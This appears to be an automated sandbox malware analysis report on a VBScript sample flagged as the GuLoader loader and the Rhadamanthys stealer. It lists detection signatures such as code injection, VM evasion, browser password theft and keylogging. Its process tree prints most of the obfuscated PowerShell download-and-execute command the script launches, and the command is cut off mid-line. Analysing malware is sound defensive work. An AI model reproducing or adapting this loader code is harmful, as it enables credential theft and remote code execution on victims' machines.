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Windows
Analysis Report
payload_1.vbs
Overview
General Information
Detection
GuLoader, RHADAMANTHYS
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected RHADAMANTHYS Stealer
.NET source code contains potential unpacker
AI detected suspicious sample
Allocates memory in foreign processes
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query network adapater information
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a DirectInput object (often for capturing keystrokes)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Dllhost Internet Connection
Sigma detected: Msiexec Initiated Connection
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 6628 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\paylo ad_1.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - WMIC.exe (PID: 6700 cmdline:
wmic diskd rive get c aption,ser ialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 6720 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7020 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" ";$Skonner t='Private st';;$Unpr esumed='Re visionsarb ejdes';;$P rintede='A namniotic' ;;$Erkendt ligheden10 0='Petroli c38';;$Dyb vandet=$ho st.Name;fu nction Mar eschal($Fi brillation ){If ($Dyb vandet) {$ Jewbush=2} for ($Amb iguitet=$J ewbush;;$A mbiguitet+ =3){if(!$F ibrillatio n[$Ambigui tet]) { br eak };$Klk ning+=$Fib rillation[ $Ambiguite t];$Cebian 207='Motor cades'}$Kl kning}func tion Dilem matically( $brynskov) { .($Under porch) ($b rynskov)}$ Lanciferou s211=Mares chal 'SvNH e TBl..nW ';$Lancife rous211+=M areschal ' EreS BKic Lu ISyeUnn stT';$Ball elsseres=M areschal ' plMLeoP zG li ilDel t a U/';$Jib bing=Mares chal ' WT FlSisPa1 a 2';$Underl everancer= 'Me[HjnLee bT B.OvS e,frK v Hi dcpse RPC ooBeIHunin tR.M HAFln ImaPag,gEM iR ,] t:Te :PrsoueL C R,uF,R i E tOvySuPMiR foo Nt To JC ,O l B= T $ ijHeI mb B BI kN S g';$Ball elsseres+= Mareschal 'Fo5In. C0 I S(S W n iAnnTadH.o .hwFosdi U aNA.TE .1 R,0Re.Lu0P a;.r DW iU nn A6,r4C, ;Pe LxSi6 U4No;Ud Bn rM vCr:A 1 Hi3 1 P.Sk 0O.)Se ,hG Ree c .kpe og / I2Pa0 Ju1.r0Sk0S y1Vg0W,1Tt UgFCriBer Bem fEkos pxTi/Ep1Th 3Sa1 M. k0 ';$Ambigui tetntrapsy chical=Mar eschal 'Ub uJos AeUnr Na-isaLiG HeJeN t';$ Partisk=Ma reschal 'O rhSptNot R p.nsUn: ./ tr/.pwVawH ywsp.b pAf tfrs.a.ung HerEmo u C pS,/.daMeb G /K iV nP hfOvaPunF. tPhrTiyGlm Eeudn b.O cd,peMep U lo.o .y a> AlhSptS t op.fsac: r /K,/BawCiw skwSu.lupS ku En Se t estt ,.C a BeeUp/D ad ,bKo/M iRa nfaf Uason Bt .runy mSue ,n F. Hads.eAnpR lOkoSvy'; $Hovedets= Mareschal 'T,>';$Und erporch=Ma reschal 'N i Se KX'; $Kuldioxid ets='Strat eg';$Debat sidens='\Q uaiches.Ar g';Dilemma tically (M areschal ' B $P GLeL. poNeB aA B LSk:Hoa eU dRSsa T de Sm=U $,aeP nCaVR :Ra a PFrPTadB eA uT uaCe +Sk$ .d HE FaB ADeTTo s,ri,kdSiE InNBiS');D ilemmatica lly (Mares chal 'ge$. eG lAfO .b KnaAwlRy:S c ,hPaAAf p RLN.eFuS S SJo= ,$R pC AD RE tU.iAgSPeK . os ePFo l OiPaTDe( o$Reh aoF oVInELsd E ,fT hsTr)' );Dilemmat ically (Ma reschal $U nderlevera ncer);$Par tisk=$Chap less[0];$b ibbed=(Mar eschal ' S $ eGFoLTmO UdbAdaUnL O: ,PMyi.i cD tPru fR BoIFezInaC oT CIWaORe nA,s H=Len KlE .w A-O vo tbSpjSh E.vC,uTNi RySSoyS s ptUde ,m o .n $AnL,aA anNFecDiIC ,f eETir n OSmuSus e2 o1 g1');D ilemmatica lly ($bibb ed);Dilemm atically ( Mareschal ' T$O,P ,i Ruc,itMuuL rAbiS z I a.etG.iHoo n s .AlH. ee laHedSa e ,rNosu [ V $PoA PmO vb WiT.g u GriKotRueS ht.knV,tKo rP aDapT s Spy Ic.dhF ii fcJuaIn l G]M.=r $ UnB LaTilF olKneUnlSu sF sM.e Pr PieGas');$ Instrument er=Maresch al ' H$SnP istcLet e uC.rFuiR z BaInt Di Ao inLss C .,rDS oLyw SvnU l .oA ba ydTaFU. iAblD,e ( I$PlPMya B rAntRai Gs ,kJ ,Ro$R